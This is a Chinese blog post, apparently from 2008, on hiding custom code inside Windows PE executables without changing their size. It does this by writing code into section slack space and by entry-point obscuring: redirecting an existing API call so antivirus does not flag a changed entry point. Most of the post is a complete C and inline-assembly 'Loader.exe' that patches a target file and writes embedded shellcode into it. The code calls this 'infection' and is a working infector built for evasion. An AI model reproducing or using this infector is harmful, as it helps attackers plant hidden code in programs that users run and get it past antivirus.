EPO+插缝植入用户自定义代码的一种方法

EPO+插缝植入用户自定义代码的一种方法
2008-10-04 19:45

以前听很多人问如何零字节插入,就是在一个pe内写入了我们的代码后,pe文件并不增加大小.可想而知道这种方法的隐蔽性.那么我们怎么才能把一些代码加入pe,而使它的大小不发生改变呢.还好windows的这个格式对齐给我们提供了可能性.pe中的节以一定的基数(也称对齐因数)对齐,而这种对齐导致的最直观的效果是每个节中有大量的空闲的空间,没有数据,没有代码,都是以0填充.这样我们就可以把这块宝地利用起来,把我们的代码写入.因为只是覆盖写入所以pe不会增加大小.好了第一个问题解决了.那么如何让pe执行那段代码呢?修改入口点(这是大部分类似程序所用的方法),不是太好。这样杀软很容易检测到pe入口点遭到修改而报警,这样我们岂不是徒劳了.那又如何解决它呢?答案就是EPO(入口点模糊技术),这种技术没有严格的规格规定,一般是修改API的跳转地址.一下为编译器的两种API调用方法:

;   E8 xx xx xx xx:     call    xxxxxxxx                ; relative address
;   ...
;   FF 25 xx xx xx xx: jmp     dword ptr [xxxxxxxx]
;
; or:
;
;   FF 15 xx xx xx xx: call    dword ptr [xxxxxxxx]    ; API call


#include <windows.h>
#include "stdio.h"
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
char szHostFile[20];
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;
unsigned char thunkcode[] = "\x60\x9C\x6A\x00\xE8\x07\x00\x00\x00\xD2"
                            "\xB9\xC9\xF1\xD4\xC2\x00\xE8\x0D\x00\x00"
                            "\x00\x65\x70\x6F\x2B\xB2\xE5\xB7\xEC\xB2"
                            "\xE2\xCA\xD4\x00\x6A\x00\xB8\x8A\x05\xD5"
                            "\x77\xFF\xD0\x9D\x61"; 
char szFormat[]="0x%02x ";
void usage();
int main(int argc, char* argv[])
{
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    BYTE *addr_found=(BYTE *)-1;
    DWORD Section_Number;
    BYTE data_hex[6];    //用于暂存宿主的6字节代码
    BYTE data_jmp[6]={0xe9,0x90,0x90,0x90,0x90,0x90}; //用于转移到自定义处
    DWORD dwCodeDistance,max_search,_eax,_esi,image;
    HMODULE hModule_user32=LoadLibrary("user32");
    HMODULE hModule_kernel32=LoadLibrary("kernel32");

    if(argc!=2)
{
     usage();
     return -1;
}
   strcpy(szHostFile,argv[1]);

   hFile = CreateFile(szHostFile,
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
    max_search=GetFileSize(hFile,0);

    if (hFile==INVALID_HANDLE_VALUE)
    {
        printf("Open host file failed!\n") ;
        return -1 ;
    }
    
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
    {
        printf("Create file mapping falied!\n") ;
        return -1 ;
    }
    
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
    {
        printf("Map view of file failed!\n") ;
        return -1 ;
    }

    //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
    { printf("DOS_Invalid file format!\n");
    return -1;
}
    pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
       
    if (pImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)
    {
     printf("NT_Invalid file format!\n");
     return -1;
    }
            
     pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                           pImageDosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS));
     //:::计算第一个节的空隙大小
     dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
            
     //:::如果代码缝隙小于thunk code的大小则感染失败
     if (sizeof(thunkcode)+6>dwGapSize)
     {
       printf("no more space to fill!\n") ;
       goto Close ;
     }
     //:::定位到代码末尾
    Section_Number=pImageNtHeaders->FileHeader.NumberOfSections;
    pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                  (DWORD)pMapping+
                                  pImageSectionHeader->Misc.VirtualSize) ;
    image=pImageNtHeaders->OptionalHeader.ImageBase;
   
vir_len = (int)pImageSectionHeader->Misc.VirtualSize+pImageSectionHeader->VirtualAddress-pImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
            
pSearch = (unsigned char *)(pImageNtHeaders->OptionalHeader.AddressOfEntryPoint+
                          -pImageSectionHeader->VirtualAddress+pImageSectionHeader->PointerToRawData+
                                (DWORD)pMapping);
                   
    max_search=DWORD(max_search+(DWORD)pMapping);
     __asm
   { 
               xor     eax,eax      
               mov     esi,pSearch
epo_search:    lodsb
               dec     vir_len
               jz      asm_exit
               cmp     al,0e8h 
               jz      epo_e8_found
               cmp     al,0ffh                 
               jnz     epo_search
               dec     vir_len
               lodsb
               cmp     al,15h                
               jnz     epo_search
               jmp     epo_got_it
epo_e8_found: mov    _esi, esi 
               lodsd                           
               add     eax,esi 
      cmp     eax,pMapping
      jb      epo_search
               cmp     eax,max_search
               ja      epo_search
               cmp     word ptr [eax],25ffh
               mov     esi,_esi
               jnz     epo_search
               xchg    eax,esi                    
               inc     esi                    
               inc     esi
    
epo_got_it:    pushad
               mov     ebx,image           
               lodsd 
               sub     eax,ebx                
               mov     esi,pImageSectionHeader              
               mov     ecx,Section_Number               
               call    __rva2raw 
               mov     edx,pMapping            
               add     eax,edx                 
               mov     eax,DWORD ptr [eax]               
               call    __rva2raw               
               lea     eax,[eax+edx+2]         
               mov     _eax,eax
               push    eax                     
               push    hModule_kernel32                  
               mov     eax,0x7c80ada0          
               call    eax
               or      eax,eax                 
               popad
               jnz     epo_got_api
               mov     eax,_eax
               push    eax                     
               push    hModule_user32                  
               mov     eax,0x7c80ada0   //本地系统的GetProcAddress的地址可能需要修正       
               call    eax   
               or      eax,eax
               jnz     epo_got_api
               xor     ebx,ebx
               jmp     epo_search                  
epo_got_api:   dec     esi                     
               dec     esi                    
               mov     addr_found,esi
               jmp     asm_exit

//此函数为RVA转RAW
//input:
//       eax --- RVA to convert
//       esi --- pointz to the first IMAGE_SECTION_HEADER
//       ecx --- number of section header
// Output:
//       eax --- RAW (offset in the file)
__rva2raw:      pushad
r2r_sec_loop:   mov     ebx,[esi+12]            
                mov     edx,ebx                 
                cmp     eax,ebx
                jl      r2r_next
                add     ebx,[esi+8]             
                cmp     eax,ebx
                jg      r2r_next
                sub     eax,edx                 
                add     eax,[esi+20]            
                mov     [esp+28],eax            
                jmp     r2r_ret                 
r2r_next:       add     esi,28h                 
                loop    r2r_sec_loop
                xor     eax,eax                 
                mov     [esp+28],eax            
r2r_ret:        popad
                ret
   }
asm_exit: 
      
if((DWORD)addr_found==-1)
{
printf("在我们制定的区段内并没找到符合要求的API");
goto Close;
}
printf("从这个地址开始查找:%08x \n",(pSearch-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase); 
printf("我们找到的第一个符合要求的API是%s   ",_eax);
printf("它的地址:%08x \n",(addr_found-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase); 
printf("我们的代码写入的位置为:%08x \n",(pGapEntry-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase);

dwCodeDistance =((DWORD)pGapEntry - ((DWORD)addr_found+5));
for (i=3;i>=0;i--)
{
data_jmp[i+1] = ((unsigned int)dwCodeDistance>>x)&0xff ;
x -= 8 ;

for(i=0;i<6;i++)
{
data_hex[i]=addr_found[i];
        
}
for(i=0;i<6;i++)
{
addr_found[i]=data_jmp[i];
}
for (i=0;i<sizeof(thunkcode);i++)
{
pGapEntry[i]= thunkcode[i] ;
}
    for(i=0;i<6;i++)
{
pGapEntry[i+sizeof(thunkcode)-1]=data_hex[i];
        
}
    dwCodeDistance=(-(dwCodeDistance+10+sizeof(thunkcode)));
for (i=3;i>=0;i--)
{
    data_jmp[i+1] = (dwCodeDistance>>x)&0xff ;
    x -= 8 ;
}
for(i=0;i<6;i++)
{
pGapEntry[i+sizeof(thunkcode)-1+6]=data_jmp[i];
       
}
Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
    
   return 0 ;
}
void usage() 

         printf("用法:\n"); 
         printf("Loader.exe FileName\n"); 
         printf("usage: \n"); 
         printf("Loader.exe test.exe\n\n"); 
         printf("\t\tcode by 夜神月\n");
}

//--------------------------------------------------------------------------------------------------------------------//

vc6.0通过

点击下载

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值